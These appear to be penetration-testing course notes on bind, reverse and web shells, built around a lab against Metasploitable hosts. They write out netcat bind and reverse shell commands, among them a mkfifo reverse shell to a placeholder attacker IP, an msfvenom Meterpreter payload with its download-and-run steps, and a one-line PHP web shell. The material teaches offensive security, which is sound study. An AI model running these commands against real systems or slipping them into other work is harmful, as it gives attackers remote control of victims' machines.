Shells (Bind and Reverse)
Gaining access with shells: bind, reverse and web shells, set up with netcat and the Metasploit framework. Includes msfvenom payload generation, the multi/handler listener, and when to use each shell type. Covers deck 6.
After reconnaissance, scanning and enumeration comes gaining access. A common scenario: you find a remote code execution (RCE) flaw in a web app on a corporate server, but the victim is behind a firewall that blocks incoming connections. The way to interact with the compromised host is a shell.
What is a shellSearch on YouTube
A shell is a command-line interface, like Command Prompt or a Linux terminal. In this context it lets you type commands on a remote computer over a network. There are three main types:
| Type | Who listens | Who connects | Use when |
|---|---|---|---|
| Bind shell | Target | Attacker | The target can accept incoming connections. |
| Reverse shell | Attacker | Target | The target is behind a firewall/NAT that blocks incoming connections. |
| Web shell | — (web server) | Attacker (browser) | You can upload a script to a vulnerable web server. |
Bind shellSearch on YouTube
In a bind shell, the target machine opens a listener on a port of your choice and waits. The attacker then connects to that port to gain shell access. Two ways: netcat and Metasploit.
Bind shell with netcatSearch on YouTube
Attacker is Kali; target is Metasploitable2.
On the target — start a listener bound to a shell:
nc -lvnp 4444 -e /bin/bash # target listens on port 4444, serving /bin/bash-llisten,-vverbose,-nno DNS,-p 4444port,-e /bin/bashpipes a shell to the connection.
From the attacker (Kali) — connect to the target's listener:
nc <TARGET_IP> 4444 # e.g. nc 192.168.56.110 4444Now Kali is connected to Metasploitable2 and can run commands (whoami, ls) on it.
Bind shell with MetasploitSearch on YouTube
Step 1 — on the target, start the listener:
nc -lvnp 4444 -e /bin/bash # target listens on port 4444Step 2 — on Kali, launch Metasploit and connect with the handler:
msfconsole
use exploit/multi/handler
set payload linux/x86/shell_bind_tcp
set RHOST 192.168.56.110 # the target's IP
set RPORT 4444
runNow Kali accesses Metasploitable2 through Metasploit. If the target is Windows, use the appropriate Windows payload (search with search type:payload windows/meterpreter/bind_tcp).
Metasploit Framework is a Ruby-based penetration-testing platform with 7 module types: auxiliary, encoders, evasion, exploits, nops, payloads, post. exploit/multi/handler is the generic listener that catches shells from a payload.
Reverse shellSearch on YouTube
In a reverse shell the roles are flipped: the attacker starts a listener and the victim connects back to it. This is useful when the victim is behind a firewall or NAT, because outgoing connections are usually allowed even when incoming ones are blocked — a firewall does not stop you from visiting a website, so it does not stop the victim's outbound connection to the attacker.
Reverse shell with netcatSearch on YouTube
Attacker (listener):
nc -lvnp 4444Target (connect back and serve a shell):
nc <ATTACKER_IP> 4444 -e /bin/bash # /bin/sh on minimal hosts, cmd.exe on WindowsIf the target's netcat lacks -e (common on modern Linux), use the FIFO form:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER_IP> 4444 > /tmp/fReverse shell with MetasploitSearch on YouTube
Target is Windows (Metasploitable3); attacker is Kali. Both must be on the same network. How it works: you generate a reverse_tcp payload, send it to the victim, start multi/handler on Kali, and when the victim runs the payload it connects back and the handler catches the session.
Step 1 — create the payload on Kali with msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=4444 -f exe -o shell.exeLHOST= Kali's IP (the victim connects back here),LPORT= listening port (4444),-f exeoutput format,-o shell.exeoutput file.
Step 2 — host the payload with an HTTP server in the directory holding shell.exe:
python3 -m http.server 80Step 3 — on the Windows target, download and execute the payload (fetch http://<KALI_IP>/shell.exe and run it).
Step 4 — start the Metasploit listener on Kali in a second terminal:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.103
set LPORT 4444
runWhen shell.exe runs on the target, a Meterpreter session opens on Kali, giving control.
Exiting MeterpreterSearch on YouTube
exit # close the session
background # background the session (keep it open)For a reverse shell the attacker always listens first; for a bind shell the target listens first. Match LHOST/LPORT (reverse, attacker side) vs RHOST/RPORT (bind, remote target side). A common exam trap: for multi/handler with a reverse payload use LHOST/LPORT; RPORT is for the bind case.
Web shellSearch on YouTube
A web shell is a script or web-application component that provides remote command execution through a web server. It is a malicious script (PHP, ASP, JSP, etc.) uploaded to a vulnerable web server, letting the attacker run commands via a browser. It is often a tiny piece of code:
<?php system($_GET['cmd']); ?>Access it by passing a command in the URL:
http://victim.com/shell.php?cmd=whoamiBind vs reverse: comparisonSearch on YouTube
| Aspect | Bind shell | Reverse shell |
|---|---|---|
| Listener | On the target | On the attacker |
| Connection direction | Attacker → target (inbound to target) | Target → attacker (outbound from target) |
| Works through firewall/NAT? | No — inbound to the target is usually blocked | Yes — outbound is usually allowed |
| Advantage | Simple when the target is directly reachable | Bypasses firewalls/NAT |
| Disadvantage | Fails if a firewall blocks inbound to the target | Needs the attacker's listener reachable |
Limitations of basic netcat/plain shells: they are unencrypted (traffic, including commands and data, is sent in clear text and easily sniffed or flagged by IDS), and they are fragile "dumb" shells (no job control, tab completion or proper TTY; they drop on network hiccups). Metasploit's Meterpreter addresses these with an encrypted, feature-rich session.
Lab 5 asked you to: (1) set up a bind shell on a target listening on a port and connect from the attacker to run commands, both (A) with netcat and (B) with the Metasploit framework; and (2) create a reverse TCP shell from the target back to the attacker using the Metasploit framework, then run a command on the target and capture the output. The reverse task uses msfvenom to build shell.exe, a Python HTTP server to deliver it, and multi/handler to catch the Meterpreter session.
Quick self-testSearch on YouTube
In a bind shell, who opens the listener and who connects?
The target opens a listener on a chosen port and waits; the attacker connects to it.
Why is a reverse shell preferred when the victim is behind a firewall or NAT?
Firewalls usually allow outgoing connections while blocking incoming ones. A reverse shell has the victim connect out to the attacker's listener, so it passes through.
Give the exact netcat commands for a reverse shell on both machines.
Attacker (listener): nc -lvnp 4444. Target (connect back): nc <ATTACKER_IP> 4444 -e /bin/bash.
Give the exact netcat commands for a bind shell on both machines.
Target (listener): nc -lvnp 4444 -e /bin/bash. Attacker (connect in): nc <TARGET_IP> 4444.
What does msfvenom -p windows/meterpreter/reverse_tcp LHOST=... LPORT=4444 -f exe -o shell.exe do?
Generates a Windows Meterpreter reverse-TCP payload as shell.exe that, when run, connects back to LHOST:LPORT (the attacker). -f exe sets the format and -o the output file.
Which Metasploit module catches the connection, and which payload is used for a Linux bind shell?
exploit/multi/handler is the listener. For a Linux bind shell the payload is linux/x86/shell_bind_tcp.
What is a web shell and how is it accessed?
A malicious script (e.g. <?php system($_GET['cmd']); ?>) uploaded to a vulnerable web server that runs commands. It is accessed via the browser, e.g. http://victim.com/shell.php?cmd=whoami.
Name two limitations of shells established with netcat or similar basic tools.
They are unencrypted (traffic sent in clear text, easy to sniff or detect) and they are fragile dumb shells (no TTY, job control or tab completion, and they drop on connection issues).
What do LHOST and LPORT mean when setting up a reverse payload?
LHOST is the attacker's IP the victim connects back to; LPORT is the attacker's listening port.
- A shell gives command-line control of a remote machine. Three types: bind, reverse and web shell.
- Bind shell: target listens, attacker connects. Netcat target:
nc -lvnp 4444 -e /bin/bash; attacker:nc <TARGET_IP> 4444. Metasploit payload:linux/x86/shell_bind_tcpwithRHOST/RPORT. - Reverse shell: attacker listens, target connects back — bypasses firewalls/NAT. Netcat attacker:
nc -lvnp 4444; target:nc <ATTACKER_IP> 4444 -e /bin/bash. - Metasploit reverse flow:
msfvenombuildsshell.exe,python3 -m http.server 80delivers it,exploit/multi/handlerwithwindows/meterpreter/reverse_tcpandLHOST/LPORTcatches the Meterpreter session. - Web shell: an uploaded script (e.g.
<?php system($_GET['cmd']); ?>) run via the browser. - Basic netcat shells are unencrypted and fragile; Meterpreter is encrypted and feature-rich.